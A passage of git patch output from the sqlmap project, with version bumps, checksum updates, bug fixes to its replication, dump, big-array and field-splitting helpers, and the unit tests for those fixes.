"1.10.6.138" +VERSION = "1.10.6.139" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_strings.py b/tests/test_strings.py index 5aada824e0c..e3683ea0163 100644 --- a/tests/test_strings.py +++ b/tests/test_strings.py @@ -90,12 +90,24 @@ def test_longestCommonPrefix(self): self.assertEqual(longestCommonPrefix("abc", "xyz"), "") def test_decodeIntToUnicode(self): - # single-byte code points map to their char - self.assertEqual(decodeIntToUnicode(65), u"A") - self.assertEqual(decodeIntToUnicode(97), u"a") - # NOTE: >255 ints are interpreted as a multi-byte sequence (not a Unicode code point), - # e.g. 0x2122 -> bytes 0x21 0x22 -> '!"' (documents actual behavior, not an assumption) - self.assertEqual(decodeIntToUnicode(0x2122), u'!"') + from lib.core.common import Backend + from lib.core.data import kb + + # decodeIntToUnicode() is back-end DBMS dependent (e.g. PostgreSQL/Oracle/SQLite + # treat >255 values as Unicode code points). Pin a clean, no-forced-DBMS state so + # the result is deterministic regardless of test execution order (a prior dialect + # test may otherwise leave a forced DBMS set); restore it afterwards. + _saved = (kb.get("forcedDbms"), kb.get("stickyDBMS")) + Backend.flushForcedDbms(force=True) + try: + # single-byte code points map to their char + self.assertEqual(decodeIntToUnicode(65), u"A") + self.assertEqual(decodeIntToUnicode(97), u"a") + # NOTE: with no identified DBMS, >255 ints are interpreted as a multi-byte + # sequence (not a Unicode code point), e.g. 0x2122 -> bytes 0x21 0x22 -> '!"' + self.assertEqual(decodeIntToUnicode(0x2122), u'!"') + finally: + kb.forcedDbms, kb.stickyDBMS = _saved if __name__ == "__main__": From 46fc5acbfc1a0f2a759c9f398c829c096e056a20 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 21 Jun 2026 23:30:52 +0200 Subject: [PATCH 595/853] Minor update --- data/txt/sha256sums.txt | 6 +++--- lib/core/replication.py | 18 +++++++++++++++--- lib/core/settings.py | 2 +- tests/test_replication.py | 34 ++++++++++++++++++++++++++++++++++ 4 files changed, 53 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 729c5104006..bd298b52a83 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -186,10 +186,10 @@ c1a9edb894033f1cef0a15a05cca196f816df3465444134af171870dedbe1538 lib/core/optio ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py -48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py +9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -82767887306a66ba4b1b2c254068225196f3adb434bfac2929a123c51fdd45f8 lib/core/settings.py +3f62e7d98fb47950f6c9ff99386cb9ae346f7d64e2b0ed2c85cf9d394a2c6c69 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -602,7 +602,7 @@ cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pag 4bac34af2abddce003756d6776e89b2fda220bb7603ef3761f4f37ee29f9c369 tests/test_payload_marking.py 6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f tests/test_payloads_structure.py a6d013104601c0414628aff3d8b5b69bee3e6733781d8f8da880457d8b44bd3a tests/test_property.py -5c95e7863190e440234f231864fb1219c35207132762858cc95181c57086bafc tests/test_replication.py +2dfefb4bfaee3868152835502ec43da317c4f274b1d55cd2ef21e4f7390c9bea tests/test_replication.py 67a5241aeebc20eb1c20cfc490422a59af5179040824e5731bd785db2e6bf750 tests/test_report.py cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_safe2bin.py a1c6cda1e5b483f61e6a4f8ddd0b06a15ddaa3fd2119bfb9dbd9cc970d7a751d tests/test_settings_regex.py diff --git a/lib/core/replication.py b/lib/core/replication.py index 2474e72b52e..a2cd5e9a30c 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -23,8 +23,11 @@ class Replication(object): """ def __init__(self, dbpath): + self.dbpath = dbpath + self.connection = None + self.cursor = None + try: - self.dbpath = dbpath self.connection = sqlite3.connect(dbpath) self.connection.isolation_level = None self.cursor = self.connection.cursor() @@ -120,8 +123,17 @@ def createTable(self, tblname, columns=None, typeless=False): return Replication.Table(parent=self, name=tblname, columns=columns, typeless=typeless) def __del__(self): - self.cursor.close() - self.connection.close() + try: + if self.cursor is not None: + self.cursor.close() + except Exception: + pass + + try: + if self.connection is not None: + self.connection.close() + except Exception: + pass # sqlite data types NULL = DataType('NULL') diff --git a/lib/core/settings.py b/lib/core/settings.py index 070ad183e8c..7314f22b690 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.139" +VERSION = "1.10.6.140" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_replication.py b/tests/test_replication.py index 22bdab8203a..7e5d8a0c594 100644 --- a/tests/test_replication.py +++ b/tests/test_replication.py @@ -23,6 +23,8 @@ bootstrap() from lib.core.replication import Replication +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapValueException class _ReplCase(unittest.TestCase): @@ -83,5 +85,37 @@ def test_create_replaces_existing(self): self.assertEqual(t2.select(), []) +class TestInsertColumnMismatch(_ReplCase): + def test_wrong_column_count_raises(self): + t = self.rep.createTable("c", [("a", self.rep.INTEGER), ("b", self.rep.TEXT)]) + # too few / too many values must be rejected (not silently mis-inserted) + self.assertRaises(SqlmapValueException, t.insert, [1]) + self.assertRaises(SqlmapValueException, t.insert, [1, "x", "extra"]) + # the matching count still works + t.insert([1, "x"]) + self.assertEqual(t.select(), [(1, "x")]) + + +class TestInitFailure(unittest.TestCase): + """A failed open (e.g. unwritable path) must raise cleanly and the partially + constructed object must be safe to finalize (no AttributeError in __del__).""" + + def _bad_path(self): + # a database file inside a directory that does not exist => connect fails + return os.path.join(tempfile.gettempdir(), "sqlmap_no_such_dir_%d" % os.getpid(), "x.sqlite") + + def test_bad_path_raises(self): + self.assertRaises(SqlmapConnectionException, Replication, self._bad_path()) + + def test_del_safe_after_failed_init(self): + obj = Replication.__new__(Replication) + self.assertRaises(SqlmapConnectionException, obj.__init__, self._bad_path()) + # connection/cursor must be initialized even when connect() fails ... + self.assertIsNone(obj.connection) + self.assertIsNone(obj.cursor) + # ... so finalization is a no-op rather than raising + obj.__del__() + + if __name__ == "__main__": unittest.main(verbosity=2) From a3fc17166532f5cd2be3042a78996fa611250fcc Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 21 Jun 2026 23:36:30 +0200 Subject: [PATCH 596/853] Minor update --- data/txt/sha256sums.txt | 4 ++-- lib/core/dump.py | 6 +++--- lib/core/settings.py | 2 +- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index bd298b52a83..f46442ae89d 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -176,7 +176,7 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 70fb2528e580b22564899595b0dff6b1bc257c6a99d2022ce3996a3d04e68e4e lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 2f44a1bfe6f18aafe64147b99e69aa93cf438c0e7befe59f4e2aee9065c8b7b6 lib/core/dicts.py -2592b0fd38c272c0b0d49878f4449437eb8ba8ff7536bb39b2ac9a2511010f7c lib/core/dump.py +12155385c1c4f763c1e8fcb92165015b913620ae1fec1e8de303e4fe841e5a69 lib/core/dump.py 6b6514202c6ca2d29069176bccf10492927d83e6ede06c9f4b4fcc6164e61856 lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -3f62e7d98fb47950f6c9ff99386cb9ae346f7d64e2b0ed2c85cf9d394a2c6c69 lib/core/settings.py +46468c8b40417c10bd9f472c259c89c0f0641bc247097006497118c3d7980672 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/lib/core/dump.py b/lib/core/dump.py index ebc7d0cd041..f6efb99e22e 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -94,9 +94,9 @@ def _write(self, data, newline=True, console=True, content_type=None): except IOError as ex: errMsg = "error occurred while writing to log file ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) - - if multiThreadMode: - self._lock.release() + finally: + if multiThreadMode: + self._lock.release() kb.dataOutputFlag = True diff --git a/lib/core/settings.py b/lib/core/settings.py index 7314f22b690..e2694162f35 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.140" +VERSION = "1.10.6.141" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 0b2b3e956f4efdd5088d87c04993a2f5331a97b2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 22 Jun 2026 00:17:11 +0200 Subject: [PATCH 597/853] Minor patch --- data/txt/sha256sums.txt | 6 ++--- lib/core/bigarray.py | 6 +++++ lib/core/settings.py | 2 +- tests/test_bigarray.py | 59 +++++++++++++++++++++++++++++++++++++++++ 4 files changed, 69 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index f46442ae89d..5cc09e3ae2b 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -167,7 +167,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 9da83429449d78797c18bb79ff425aa1eddf5b26b9987d25d042eb0998053675 lib/core/agent.py -12d0f1f28796b6fbf5629a3fd335b4098eac0583f832d1aa650efa22bf52e782 lib/core/bigarray.py +905e49d6e030a60f7767c71e0726e0def57c50542210afd9be1cdec122d2d1ce lib/core/bigarray.py dba8ebb5cfc6a085c6d91aff0135cfbe8716a40cc20cb1c7cfcd50b5a90e64f5 lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -46468c8b40417c10bd9f472c259c89c0f0641bc247097006497118c3d7980672 lib/core/settings.py +d1ad94ae601d7470f1e2fd77b834c048921043479939346b09c92d6a19cdda85 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -574,7 +574,7 @@ dcdeed9ee285e63cf06baf8347e3db7f210ef25a63869bab78ce1ec6898ae191 tamper/unional ce1b6bf8f296de27014d6f21aa8b3df9469d418740cd31c93d1f5e36d6c509cf tamper/xforwardedfor.py 44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 tests/__init__.py bfb553602eb5d20b4ab5928dbcf8e6a3e7e5ff69f7d30d1f53ef6d323c237f6c tests/test_agent.py -d4d7d3525d25ce72bf38bd38b5fdf61144e381993d63be7dc72b2b4811ffab67 tests/test_bigarray.py +feb763ddcbf4f32822372ca53f8c71c754af7b72510ef06e1e9c77927fc90b10 tests/test_bigarray.py 27ad87c0ea377e0657bd6f6a4eaa0e9756aa9d28ec0483bdadeb3f66dcc4660d tests/test_charset.py 9e678a56e16211c49ab4995b6c658d3f122bfa3b357d9e17ff38f5a489ace6ad tests/test_cloak.py a48c411fea864e6bcd6a1c7e1a35094b8cda8d15088fd9e7b0270542ae20daa9 tests/test_common_helpers.py diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 0f2b50b142e..fa2976282f1 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -172,6 +172,12 @@ def pop(self): except OSError: pass + # Note: the formerly on-disk chunk is now an in-memory list (and its file has been + # removed), so any cache entry still pointing at it is stale; dropping it prevents + # serving outdated data if that chunk index is later re-dumped (e.g. append after pop) + if isinstance(self.cache, Cache) and self.cache.index == idx: + self.cache = None + return self.chunks[-1].pop() def index(self, value): diff --git a/lib/core/settings.py b/lib/core/settings.py index e2694162f35..01bc7ce0335 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.141" +VERSION = "1.10.6.142" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_bigarray.py b/tests/test_bigarray.py index f531ea4bbb8..8d033f77c5c 100644 --- a/tests/test_bigarray.py +++ b/tests/test_bigarray.py @@ -80,6 +80,65 @@ def test_pickle_roundtrip_across_spill(self): self.assertEqual(restored[N - 1], "item-%d" % (N - 1)) +class TestCacheConsistency(unittest.TestCase): + """The on-disk chunk is served through a single-slot cache (read caching plus + dirty write-back). These check that the cache never serves stale data.""" + + def test_setitem_writeback_across_chunks(self): + ba = _make_spilled() + ref = ["item-%d" % i for i in range(N)] + # mutate elements spread across several different on-disk chunks + for i in (0, 1, 499, 500, 2500, N - 1): + ba[i] = ref[i] = "EDIT-%d" % i + try: + for i in (0, 1, 499, 500, 2500, N - 1): + self.assertEqual(ba[i], ref[i], msg="readback ba[%d]" % i) + self.assertEqual(list(ba), ref) # full independent traversal agrees + finally: + ba.close() + + def test_dirty_edit_survives_pickle(self): + ba = _make_spilled() + ba[10] = "EDITED-LOW" + ba[N - 10] = "EDITED-HIGH" + restored = pickle.loads(pickle.dumps(ba)) + try: + self.assertEqual(restored[10], "EDITED-LOW") + self.assertEqual(restored[N - 10], "EDITED-HIGH") + finally: + restored.close() + ba.close() + + def test_pop_then_append_then_direct_read(self): + # Regression: pop() reloads the last on-disk chunk into memory and deletes its + # file, but a non-dirty cache entry still pointing at that chunk index was left + # in place. A later append that re-dumps the chunk index then made the stale + # cache serve outdated data on a direct __getitem__ (silent data corruption). + ref = ["item-%d" % i for i in range(N)] + ba = _make_spilled() + try: + cl = ba.chunk_length + last = len(ba.chunks) - 2 # last on-disk chunk (tail is the in-memory list) + base = last * cl + + ba[base] # populate cache at idx=last, NOT dirty + + while len(ba) > base + 1: # pop() reloads chunk 'last' from disk, removes its file + ba.pop() + ref.pop() + + for i in range(cl): # re-dump chunk 'last' to a brand new temp file + value = "NEW-%d" % i + ba.append(value) + ref.append(value) + + # direct access to the re-dumped chunk, with no prior read to refresh the cache + for off in range(cl): + self.assertEqual(ba[base + off], ref[base + off], msg="offset %d" % off) + finally: + ba.close() + + class TestInMemorySmall(unittest.TestCase): def test_no_spill_for_small(self): ba = BigArray([1, 2, 3]) From bf28b0ae47e671b773ba9ae3e05ceada80ade56e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 22 Jun 2026 00:21:16 +0200 Subject: [PATCH 598/853] Minor patch --- data/txt/sha256sums.txt | 4 ++-- lib/core/common.py | 10 ++++++---- lib/core/settings.py | 2 +- 3 files changed, 9 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 5cc09e3ae2b..d92179036a8 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -168,7 +168,7 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 9da83429449d78797c18bb79ff425aa1eddf5b26b9987d25d042eb0998053675 lib/core/agent.py 905e49d6e030a60f7767c71e0726e0def57c50542210afd9be1cdec122d2d1ce lib/core/bigarray.py -dba8ebb5cfc6a085c6d91aff0135cfbe8716a40cc20cb1c7cfcd50b5a90e64f5 lib/core/common.py +cd22e671c7c96ca8e0e23e1578780e7390dbb50055dabf7bd44f933318c2a9b0 lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -d1ad94ae601d7470f1e2fd77b834c048921043479939346b09c92d6a19cdda85 lib/core/settings.py +aefc6278c2eee19a2411d19afe85ee78a30214750903b2321d04b2a6a2881b59 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index cd11f5a4c93..938d9432b1d 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5346,6 +5346,8 @@ def splitFields(fields, delimiter=','): ['foo', 'bar', 'max(foo,bar)'] >>> splitFields("a, 'b, c', d") ['a', "'b, c'", 'd'] + >>> splitFields('a; b; max(c; d)', delimiter=';') + ['a', 'b', 'max(c;d)'] """ # collapse " " -> "" but only OUTSIDE quoted string literals, so a @@ -5376,11 +5378,11 @@ def splitFields(fields, delimiter=','): index += 1 fields = "".join(normalized) - commas = [-1, len(fields)] - commas.extend(zeroDepthSearch(fields, ',')) - commas = sorted(commas) + splits = [-1, len(fields)] + splits.extend(zeroDepthSearch(fields, delimiter)) + splits = sorted(splits) - return [fields[x + 1:y] for (x, y) in _zip(commas, commas[1:])] + return [fields[x + 1:y] for (x, y) in _zip(splits, splits[1:])] def pollProcess(process, suppress_errors=False): """ diff --git a/lib/core/settings.py b/lib/core/settings.py index 01bc7ce0335..b34db55c2b3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.142" +VERSION = "1.10.6.143" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 87a3a2e51cc8b95bd26667291dca6fb72e836212 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 22 Jun 2026 22:11:16 +0200 Subject: [PATCH 599/853] Minor fixes --- data/txt/sha256sums.txt | 24 ++++---- lib/core/agent.py | 56 ++++++++++++++++-- lib/core/bigarray.py | 10 ++++ lib/core/common.py | 99 ++++++++++++++++++++++---------- lib/core/dicts.py | 1 + lib/core/dump.py | 32 +++++++---- lib/core/option.py | 56 +++++++++++------- lib/core/settings.py | 9 ++- lib/core/shell.py | 14 ++++- lib/core/subprocessng.py | 5 ++ lib/core/target.py | 13 +++-- lib/core/testing.py | 7 +++ tests/test_identifiers_output.py | 13 ++++- 13 files changed, 249 insertions(+), 90 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d92179036a8..81998aae815 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -166,34 +166,34 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 96463b969312bd4fd29452b5fc739f33e5a73f81fdc1ef80ac27debbe9926e42 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py -9da83429449d78797c18bb79ff425aa1eddf5b26b9987d25d042eb0998053675 lib/core/agent.py -905e49d6e030a60f7767c71e0726e0def57c50542210afd9be1cdec122d2d1ce lib/core/bigarray.py -cd22e671c7c96ca8e0e23e1578780e7390dbb50055dabf7bd44f933318c2a9b0 lib/core/common.py +1276ff64ad145157d8c65ce08f3066b6db041d12f7d1eee590c06123c700b18d lib/core/agent.py +c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py +5a8dcfc6c43927e4a132d34abf5d75193eaeb3feb0cb58d0ff5bdc059c876ba9 lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py 6c8d40d6bbab4a60d09eb03324a3352d85df1a741c62044e73701e92172d1d38 lib/core/datatype.py 70fb2528e580b22564899595b0dff6b1bc257c6a99d2022ce3996a3d04e68e4e lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py -2f44a1bfe6f18aafe64147b99e69aa93cf438c0e7befe59f4e2aee9065c8b7b6 lib/core/dicts.py -12155385c1c4f763c1e8fcb92165015b913620ae1fec1e8de303e4fe841e5a69 lib/core/dump.py +7ce2c09ebcd63d57f7b6751f70f536e2a562230d51181eb24f5024bb6f3d74cc lib/core/dicts.py +a3125c682e891f67255b89d2db891cbaae241f36dd277a272ae6db943111a157 lib/core/dump.py 6b6514202c6ca2d29069176bccf10492927d83e6ede06c9f4b4fcc6164e61856 lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py b5da34bba9ce71ede23349698988939501f5df07be151856007b9b8425a228db lib/core/optiondict.py -c1a9edb894033f1cef0a15a05cca196f816df3465444134af171870dedbe1538 lib/core/option.py +4e7f2ad3d2866093aa195616a0e93de1687406edc0b9038fbfa76bf1c9c174b2 lib/core/option.py ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -aefc6278c2eee19a2411d19afe85ee78a30214750903b2321d04b2a6a2881b59 lib/core/settings.py -cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py -bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py -70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py -d213562601682fd72603a22f35e5af4e3f41e23bfb143e1584a4fa212a232635 lib/core/testing.py +61354a9fbf94b67744b3a850475ff8ec7408979f23e2709d1f15b4642021d673 lib/core/settings.py +c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py +a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py +19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py +c1392cda2f202fa3c628f74533c8d9379d1cf7e754ac165e39021bbc2bbc4a22 lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py @@ -594,7 +594,7 @@ a38f3257aa218fa706ddb903c181715b2286619c46aea0097b7d365d18c410c5 tests/test_dns bb6991260a994fcbe79e05febaa34affd5631d02299fbc626820addd5f6ea4f4 tests/test_error_engine.py 8105de9978fe286a29f6b635a58db1e9998d86e8dded54d7efdfb9d52a121094 tests/test_hashdb.py c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7 tests/test_hash.py -205e84827461101a78b2cffaa3de49795a1214e92276fc7fd40f3456657062b9 tests/test_identifiers_output.py +d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_identifiers_output.py 5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1 tests/test_inference_engine.py caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py 57fa9713a3186020be8bcc3f06399e92bf9ce82ec6d3413c76babe19606bb698 tests/test_openapi_drift.py diff --git a/lib/core/agent.py b/lib/core/agent.py index bc0d1ed018c..686eb43bb54 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -221,7 +221,7 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N elif BOUNDED_INJECTION_MARKER in paramDict[parameter]: if base64Encoding: retVal = paramString.replace("%s%s" % (_origValue, BOUNDED_INJECTION_MARKER), _newValue) - match = re.search(r"(%s)=([^&]*)" % re.sub(r" \(.+", "", parameter), retVal) + match = re.search(r"(%s)=([^&]*)" % re.escape(re.sub(r" \(.+", 